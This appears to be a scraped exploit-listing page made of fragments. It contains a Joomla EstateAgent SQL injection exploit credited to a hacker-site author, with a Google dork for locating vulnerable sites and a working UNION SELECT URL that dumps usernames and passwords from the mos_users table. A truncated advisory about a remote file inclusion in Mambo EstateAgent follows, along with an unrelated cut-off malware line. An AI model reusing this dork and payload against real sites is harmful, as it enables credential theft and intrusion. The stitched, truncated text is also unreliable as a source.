EUVD-2006-4310

Malware in sbrugna...

joomlaestate-sql.txt

joomla SQL Injectioncomestateagent AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorK 1 : allinurl: allinurl: "comestateagent" EXPLOIT : index.php?option=comestateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999//union//select//username,password//from//mosusers/&results=S@BUN S@BUN...

Mambo Component EstateAgent 1.0.2 - MosConfig_absolute_path Remote File Inclusion

source: https://www.securityfocus.com/bid/19625/info The Mambo EstateAgent component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and...